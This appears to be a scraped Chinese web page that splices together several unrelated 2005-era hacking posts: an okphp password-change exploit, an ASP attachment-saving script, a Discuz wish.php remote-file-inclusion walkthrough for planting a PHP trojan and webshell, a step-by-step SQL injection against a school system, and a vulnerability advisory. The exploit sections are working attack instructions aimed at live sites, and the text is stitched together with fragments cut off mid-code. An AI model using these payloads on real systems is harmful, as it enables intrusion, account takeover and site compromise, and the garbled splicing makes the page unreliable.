okphp系列产品的多个漏洞

 更新时间:2016年11月25日 15:27  点击:1818
本文作者:SuperHei
文章性质:原创
发布日期:2005-08-14
程序描叙
  OKPHP是由www.okphp.com开发一套专业的网站管理系统,目前产品包括:Okphp CMS, Okphp BBS,Okphp BLOG。由于对变量的过滤不严密及密码认证不严,导致sql注射,xss,隐藏变量post攻击从跨权限操作。
漏洞攻击
1、SQl注射及xss
  “几乎” 存在于各个变量里,如:forum.php

http://www.xxx.com/forum.php?action=view_forum&forum_id={sql}
http://cn.okphp.com/forum.php?action=view_forum&forum_id=‘xss
.......
2、隐藏变量post攻击
  在提交request.php?action=user_modify 修改用户资料时,没有密码认证导致通过user_id修改容易用户密码及资料;
Exp:

<html>
<head>
<title>Okphp Discussions - powered by okphp BBS</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<link href="bbs/themes/default/css/darkblue/css.css" rel="stylesheet" type="text/css">
</head>
<body bgcolor="#CCCCCC" text="#000000">
<table class="forumline2" cellspacing="1" cellpadding="3" border="0">
<form name="form1" method="post" action="http://cn.okphp.com/forum.php" enctype="multipart/form-data">
<tr>
<th colspan="2" background="bbs/themes/default/images/darkblue/th_bg.gif">修改信息</th>
</tr>
<tr class="row1"> </tr>
<tr class="row2">
<td width="20%" valign="top" align="right">密码</td>
<td width="80%">
<p>
<input type="password" name="password1" size="20">
重复输入
本文作者:kEvin1986
文章性质:原创
发布日期:2005-08-14
 

<%
  ‘codz by kEvin1986
  User=Request.Form("User")
  Pass=Request.Form("Pass")
  Popserver=Request.Form("Popserver")
  if User<>"" and Pass<>"" and Popserver<>"" then
    Set objmail = CreateObject( "JMail.POP3" )
    objmail.Connect User, Pass, Popserver
    set objmsg=CreateObject("jmail.message")
    Set objmsg = objmail.Messages.item(1)
    separator = ", "
    response.write "Attachment Name is: " & SaveAtta & "<br>"
    objmail.Disconnect
  End if
  Function SaveAtta()
    Set Attachments = objmsg.Attachments
    separator = ", "
    response.write "The size of this Attachment is: " & objmsg.size & "<br>"
    For i = 0 To Attachments.Count - 1
    If i = Attachments.Count - 1 Then
      separator = ""
    End If
    Set Theatta = Attachments(i)
    response.write Theatta.name
    Theatta.SaveToFile(Server.Mappath(".") & "" & Theatta.name)
    Response.write "Oh!Hey Guy.....That‘s OK!"
    Next
  End Function
%>


PS:话说光这个漏洞《黑客X档案》都说了N遍,呵呵........
既然有人公布了,也有人连利用程序都写好了,那我也就公布吧!消息来源是鬼仔告诉我的,好像是火狐哪个大哥发现的洞,不太清楚了!
  discuz论坛的许愿池插件在DZ根目录有个wish.php文件,文件第四行:
require $discuz_root.‘./include/discuzcode.func.php‘;
很明显程序没有做任何过滤,一个十足的远程包含漏洞,具体利用方法就很简单了:
http://www.163.com/wish.php?discuz_root=http://www.flyt.cn/xxxx.txt?
别忘了后面有个问号!xxxx.txt就是我的PHP木马,c99shell不知道为什么,我没成功,也许与操作系统有关,我没仔细去实验了,直接用的安全天使的那PHP后门,不过可以得到一个"webshell",但是用安全天使那PHP后门无法上传我们真正的webshell上去,所以用下面这个文件就可以上传你的WEBSHELL到网站目录,
<?copy($_FILES[MyFile][tmp_name],"C:Inetpubvhostsaidu.combscntink.php");?>
<form ENCTYPE="multipart/form-data" ACTION="" METHOD="POST">
<input NAME="MyFile" TYPE="file">
<input VALUE=" 提交 " TYPE="submit">
</form>
怎么得到网站实际路径呢?很简单,直接打开http://www.163.com/wish.php?discuz_root=http://www.flyt.cn/xxxx.txt ,不要最后那个问号,这时你会发现程序报错了,网站的实际路径也就出来了!修改个文件里的
C:Inetpubvhostsaidu.combs
为当前你要黑的这个网站实际路径;cntink.php是你上传webshell后需要保存的名字,随便你取什么!
  把上面那文件保存为txt(其他扩展名也可以)上传到你自己的网站,比如我取名为fly.txt,现在再打开
http://www.163.com/wish.php?discuz_root=http://www.flyt.cn/fly.txt?
OK...看见上传对话框了吧,慢慢上传你的webshell吧!上传后的路径就是你在fly.txt中所设置的路径!
  以上文章纯属乱写,谁利用这方法黑了站遇到麻烦别找我....其实这玩意应该是发布补丁后才能公开的,但又不是官方的插件,而且别人都发了,无所谓了!
PS:要行动的快点,引用群里某X的一句话: baidu google都把discuz inurl:wish.php搜完了 不过漏洞没补
 

学校的一个外聘老师写的程序,图书+学生管理系统,文件名001.php,002.php,003.php......(B名起的)问题出在004.php第多少行我也忘了,
<td width="118" rowspan="4" align="center" valign="middle"><a href="004.php?ts_id=<?php echo $array[ts_id];?>"><img src="./images/<?php echo $array[‘ts_tp‘];?>" width="136" height="181"></a></td><td width="85">书名:</td>
注意这句<a href="004.php?ts_id=<?php echo $array[ts_id];?>">,ts_id没有任何过滤,赤裸裸的等我们虐待,HOO~(虽然我知道数据库的一切信息,但是这里我还是要黑箱测试)
LET‘S GO~
http://localhost/zhd/004.php?ts_id=1 and 1=1 正常
http://localhost/zhd/004.php?ts_id=1 and 1=2 异常
白痴注入
判断数据库:
提交http://localhost/zhd/004.php?ts_id=1/*fenggou
正常返回,说明数据库支持/*注释,什么数据库支持/*呢?MYSQL!
读取用户名:
提交http://localhost/zhd/004.php?ts_id=1 and ord(mid(user(),1,1))=114/*
正常返回,user()是MYSQL的内置函数,用来查看用户,这里是查看个用户名的第一个字符,没错114是ACCSLL中的"r",我是root连接,所以语句为真(这招贱心教我滴)但是如果用户名是rijnc的话我不是被骗了?所以在提交
http://localhost/zhd/004.php?ts_id=1 and ord(mid(user(),1,1))=111/* o
http://localhost/zhd/004.php?ts_id=1 and ord(mid(user(),1,1))=111/* o
http://localhost/zhd/004.php?ts_id=1 and ord(mid(user(),1,1))=116/* t
但是如果密码是rootrijnc,那我无语…
判断字段数:
提交http://localhost/zhd/004.php?ts_id=1 order by 10/*
失败,说明字段数小于10,一直试到7语句成立,一共是7个字段了,对我们以后的联合查询带来极大方便,有个小技巧,先5,在10,在15,依次一点点缩小范围
联合查询:
知道了字段数直接提交http://localhost/zhd/004.php?ts_id=1 union select 1,2,3,4,5,6,7/*
正常返回,说明支持union,把语句改改,用and 1=2让他显示错误,嘿嘿~~~
提交http://localhost/zhd/004.php?ts_id=1 and 1=2 union select 1,2,3,4,5,6,7/*
信息提供: 安全公告(或线索)提供热线:51cto.editor@gmail.com
漏洞类别: 输入确认漏洞
攻击类型: 远程攻击
发布日期: 2005-09-20
更新日期: 2005-09-20
受影响系统: PHP Advanced Transfer Manager 1.x
安全系统: 无
漏洞报告人: rgod
漏洞描述: Secunia Advisory: SA16867
PHP Advanced Transfer Manager复合漏洞
rgod已经报道了在PHP Advanced Transfer Manager中的一些漏洞和安全问题。恶意攻击者利用漏洞可能泄露系统信息和一些敏感信息,也可能执行交叉脚本攻击。
1.在用来显示文件之前,在"txt.php", "htm.php", "html.php"和"zip.php"中"current_dir" 和 "filename"参数的输入无效。攻击者利用漏洞通过目录障碍攻击泄露恶意文件的内容。
2.攻击者利用漏洞通过直接访问"test.php"脚本可能泄露某些PHP配置设置。
3.在反馈给用户之前,在"txt.php" 中"font", "normalfontcolor" 和"mess[31]"参数的输入无效。当用户浏览受影响的网络时,攻击者利用漏洞执行恶意HTML代码和恶意脚本代码。
在PHP Advanced Transfer Manager 1.30版本中发现漏洞和安全问题,其他版本也可能受到影响。
测试方法: 无
解决方法: 编辑代码确认输入有效,并限制访问"test.php"脚本。
程序下载:http://phpatm.free.fr/archive/phpATM_130.zip
 

[!--infotagslink--]

相关文章

  • 源码分析系列之json_encode()如何转化一个对象

    这篇文章主要介绍了源码分析系列之json_encode()如何转化一个对象,对json_encode()感兴趣的同学,可以参考下...2021-04-22
  • php中去除文字内容中所有html代码

    PHP去除html、css样式、js格式的方法很多,但发现,它们基本都有一个弊端:空格往往清除不了 经过不断的研究,最终找到了一个理想的去除html包括空格css样式、js 的PHP函数。...2013-08-02
  • php中Multipart/form-data漏洞补丁修复

    Multipart/form-data是文件上传或数据提交时会用到了,在php中Multipart/form-data是有安全bug的,下面我们来看看如何修复Multipart/form-data的bug吧. 今天在乌云...2016-11-25
  • index.php怎么打开?如何打开index.php?

    index.php怎么打开?初学者可能不知道如何打开index.php,不会的同学可以参考一下本篇教程 打开编辑:右键->打开方式->经文本方式打开打开运行:首先你要有个支持运行PH...2017-07-06
  • PHP中func_get_args(),func_get_arg(),func_num_args()的区别

    复制代码 代码如下:<?php function jb51(){ print_r(func_get_args()); echo "<br>"; echo func_get_arg(1); echo "<br>"; echo func_num_args(); } jb51("www","j...2013-10-04
  • PHP编程 SSO详细介绍及简单实例

    这篇文章主要介绍了PHP编程 SSO详细介绍及简单实例的相关资料,这里介绍了三种模式跨子域单点登陆、完全跨单点域登陆、站群共享身份认证,需要的朋友可以参考下...2017-01-25
  • PHP实现创建以太坊钱包转账等功能

    这篇文章主要介绍了PHP实现创建以太坊钱包转账等功能,对以太坊感兴趣的同学,可以参考下...2021-04-20
  • php微信公众账号开发之五个坑(二)

    这篇文章主要为大家详细介绍了php微信公众账号开发之五个坑,具有一定的参考价值,感兴趣的小伙伴们可以参考一下...2016-10-02
  • PHP如何通过date() 函数格式化显示时间

    这篇文章主要介绍了PHP如何通过date() 函数格式化显示时间,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下...2020-11-13
  • ThinkPHP使用心得分享-ThinkPHP + Ajax 实现2级联动下拉菜单

    首先是数据库的设计。分类表叫cate.我做的是分类数据的二级联动,数据需要的字段有:id,name(中文名),pid(父id). 父id的设置: 若数据没有上一级,则父id为0,若有上级,则父id为上一级的id。数据库有内容后,就可以开始写代码,进...2014-05-31
  • golang与php实现计算两个经纬度之间距离的方法

    这篇文章主要介绍了golang与php实现计算两个经纬度之间距离的方法,结合实例形式对比分析了Go语言与php进行经纬度计算的相关数学运算技巧,需要的朋友可以参考下...2016-07-29
  • PHP+jQuery+Ajax实现多图片上传效果

    今天我给大家分享的是在不刷新页面的前提下,使用PHP+jQuery+Ajax实现多图片上传的效果。用户只需要点击选择要上传的图片,然后图片自动上传到服务器上并展示在页面上。...2015-03-15
  • PHP正则表达式过滤html标签属性(DEMO)

    这篇文章主要介绍了PHP正则表达式过滤html标签属性的相关内容,实用性非常,感兴趣的朋友参考下吧...2016-05-06
  • php构造方法中析构方法在继承中的表现

    这篇文章主要为大家详细介绍了php构造方法中析构方法在继承中的表现,感兴趣的小伙伴们可以参考一下...2016-04-15
  • PHP如何使用cURL实现Get和Post请求

    这篇文章主要介绍了PHP如何使用cURL实现Get和Post请求,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下...2020-07-11
  • thinkPHP中多维数组的遍历方法

    这篇文章主要介绍了thinkPHP中多维数组的遍历方法,以简单实例形式分析了thinkPHP中foreach语句的使用技巧,需要的朋友可以参考下...2016-01-12
  • 谈谈PHP中相对路径的问题与绝对路径的使用

    经常看到有人踩在了PHP路径的坑上面了,感觉有必要来说说PHP中相对路径的一些坑,以及PHP中绝对路径的使用,下面一起来看看。 ...2016-08-24
  • php有序列表或数组中删除指定的值的实现代码

    这篇文章主要介绍了php有序列表或数组中删除指定的值的实现代码,删除给定的值之后,得到一个新的有序列表,长度-1,下面是具体的实现方法...2021-08-22
  • PHP简单实现生成txt文件到指定目录的方法

    这篇文章主要介绍了PHP简单实现生成txt文件到指定目录的方法,简单对比分析了PHP中fwrite及file_put_contents等函数的使用方法,需要的朋友可以参考下...2016-04-28
  • php判断邮箱地址是否存在的方法

    这篇文章主要介绍了php判断邮箱地址是否存在的方法,php判断邮箱地址是否存在的方法有两种,感兴趣的朋友可以参考一下...2016-02-18